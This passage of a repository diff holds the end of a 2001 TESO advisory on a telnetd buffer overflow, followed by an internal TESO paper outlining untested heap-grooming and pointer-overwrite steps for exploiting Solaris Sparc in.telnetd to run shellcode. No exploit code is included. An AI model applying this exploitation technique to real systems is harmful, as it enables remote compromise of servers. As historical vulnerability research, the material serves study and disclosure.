| 71 | overflow by up to 3584 bytes. On systems where BUFSIZ is defined to be | ||
| 72 | 4096, this is an even greater value (14336). | ||
| 73 | |||
| 74 | Due to the limited set of characters an attacker is able to write outside | ||
| 75 | of the buffer it is difficult - if not impossible on some systems - to | ||
| 76 | exploit this buffer overflow. Another hurdle for a possible attacker may be | ||
| 77 | the lack of interesting information to modify after the buffer. | ||
| 78 | |||
| 79 | This buffer overflow should be considered serious nevertheless, since | ||
| 80 | experience has shown that even complicated vulnerabilities can be | ||
| 81 | exploited by skilled attackers, BIND TSIG and SSH deattack come to mind. | ||
| 82 | |||
| 83 | We have constructed a working exploit for any version of BSDI, NetBSD and | ||
| 84 | FreeBSD. Exploitation on Solaris sparc may be possible but if it is, it is | ||
| 85 | very difficult involving lots of arcane tricks. OpenBSD is not as easily | ||
| 86 | exploitable as the other BSD's, because they do compile with other | ||
| 87 | options by default, changing memory layout. | ||
| 88 | |||
| 89 | |||
| 90 | Solution | ||
| 91 | =================== | ||
| 92 | |||
| 93 | The vendors have been notified of the problem at the same time as the | ||
| 94 | general public, vendor patches for your telnet daemon that fix the bug will | ||
| 95 | show up soon. | ||
| 96 | |||
| 97 | Sometimes a fix might not be trivial and require a lot of changes to the | ||
| 98 | source code, due to the insecure nature the 'nfrontp' pointer is handled. | ||
| 99 | The best long term solution is to disable the telnet daemon at all, since | ||
| 100 | there are good and free replacements. | ||
| 101 | |||
| 102 | |||
| 103 | Acknowledgements | ||
| 104 | =================== | ||
| 105 | |||
| 106 | The bug has been discovered by scut. | ||
| 107 | |||
| 108 | The tests and further analysis were done by smiler, lorian, zip and scut. | ||
| 109 | |||
| 110 | |||
| 111 | Contact Information | ||
| 112 | =================== | ||
| 113 | |||
| 114 | The TESO crew can be reached by mailing to teso@team-teso.net | ||
| 115 | Our web page is at http://www.team-teso.net/ | ||
| 116 | |||
| 117 | |||
| 118 | References | ||
| 119 | =================== | ||
| 120 | |||
| 121 | [1] TESO | ||
| 122 | http://www.team-teso.net/ | ||
| 123 | |||
| 124 | |||
| 125 | Disclaimer | ||
| 126 | =================== | ||
| 127 | |||
| 128 | This advisory does not claim to be complete or to be usable for any | ||
| 129 | purpose. Especially information on the vulnerable systems may be inaccurate | ||
| 130 | or wrong. Possibly supplied exploit code is not to be used for malicious | ||
| 131 | purposes, but for educational purposes only. | ||
| 132 | |||
| 133 | This advisory is free for open distribution in unmodified form. | ||
| 134 | Articles that are based on information from this advisory should include | ||
| 135 | link [1]. | ||
| 136 | |||
| 137 | |||
| 138 | Exploit | ||
| 139 | =================== | ||
| 140 | |||
| 141 | Not this time. Not here. | ||
| 142 | |||
| 143 | - ------ | ||
| 144 | |||
| 145 | |||
| 146 | -----BEGIN PGP SIGNATURE----- | ||
| 147 | Version: GnuPG v1.0.6 (GNU/Linux) | ||
| 148 | Comment: For info see http://www.gnupg.org | ||
| 149 | |||
| 150 | iD8DBQE7VfBscZZ+BjKdwjcRAsTcAJ9esSlkS7BGkYM1Yulaz3zINqxpmgCeM885 | ||
| 151 | 3thubMQc+6S4RpHasL0qz0Y= | ||
| 152 | =VT7y | ||
| 153 | -----END PGP SIGNATURE----- | ||
diff --git a/exploits/7350854/teso-howitmaybeworkonsparc.txt b/exploits/7350854/teso-howitmaybeworkonsparc.txt new file mode 100644 index 0000000..653d1a4 --- /dev/null +++ b/exploits/7350854/teso-howitmaybeworkonsparc.txt | |||
| @@ -0,0 +1,59 @@ | |||
| 1 | -------------------------------------------------------------------------- | ||
| 2 | TESO Internal Paper | ||
| 3 | 06/25/2001 | ||
| 4 | |||
| 5 | How to exploit Telnet Daemon on Solaris Sparc | ||
| 6 | -------------------------------------------------------------------------- | ||
| 7 | |||
| 8 | This Paper describes how i am going to try to exploit the telnet daemon | ||
| 9 | on Solaris Sparc maschines. The basic idea in exploiting was to overflow | ||
| 10 | the [netobuf] until we can overwrite the pointer [netibuf] which points | ||
| 11 | into heapspace and is meant for the incoming data. The idea was to fill | ||
| 12 | the heap before with environment variables so that 0x00FFFE08 points | ||
| 13 | into valid heapspace. Further was the idea to continue reading data | ||
| 14 | again from the socket and so overwriting the malloc structure in memory. | ||
| 15 | A carefully modification will allow us to overwrite an abritary memory | ||
| 16 | adress (GOT, PLT, RETADDR) with our returnadress so allowing us to | ||
| 17 | execute our own shellcode... | ||
| 18 | |||
| 19 | So far the theory, now the hard reality... | ||
| 20 | |||
| 21 | All info following is valid for the Solaris Sparc 2.6 in.telnetd binary | ||
| 22 | i had access to. | ||
| 23 | |||
| 24 | the memorylayout is like this: | ||
| 25 | |||
| 26 | 00000 netobuf[1024] | ||
| 27 | ... | ||
| 28 | +03063 ncc | ||
| 29 | ... | ||
| 30 | +03091 *netibuf | ||
| 31 | |||
| 32 | and this memory layout is exactly what causes the problem. If we start | ||
| 33 | sending a bunch of IAC AYT request, we will overwrite ncc with a very | ||
| 34 | huge positive integer. This causes our telrcv function to loop again | ||
| 35 | and again. The telrcv function will only stop its loop if ncc becomes | ||
| 36 | negative or the ptyoutputbuffer is full. This will happen soon, but | ||
| 37 | after flushing it, the telrcv loop will continue. The major problem is | ||
| 38 | that [netibuf] is not big enough to hit the pointer, send an AO and | ||
| 39 | then hit ncc again to make it negative, because this is the only way | ||
| 40 | we are able to come to the next read... | ||
| 41 | The solution seems easy, but because i have no solaris shell i could | ||
| 42 | test it yet: | ||
| 43 | We sent a lot of envvars before trying to overwrite the vars, didnt we? | ||
| 44 | Because netibuf is malloc before the envvars, it is right infront of | ||
| 45 | them in heapspace. So our telrcv will very soon hit into one of our | ||
| 46 | envvars (the first one). We can store a IAC AO and lotsa 0xff 0xfb 0x80+ | ||
| 47 | there. (most probably we need more envvars). we need enough of them | ||
| 48 | to hit ncc again. this time it will make it negative and so the loop | ||
| 49 | ends and our new [netibuf] (which points somewhere in the middle of the | ||
| 50 | heap) The next read should give us enough power to read in any stuff to | ||
| 51 | corrupt the malloced envvars and so overwrite either plt, got or retloc. | ||
| 52 | the retaddr into our shellcode is easy to get, cause we know exactly the | ||
| 53 | offset where our netibuf is read to. (dont forget that 0xff will cause | ||
| 54 | problems... (so keep them out of shellcode)). | ||
| 55 | |||
| 56 | This all must of course be tested and implemented... i am waiting for | ||
| 57 | a solaris sparc root account to do it... | ||
| 58 | |||
| 59 | lorian | ||
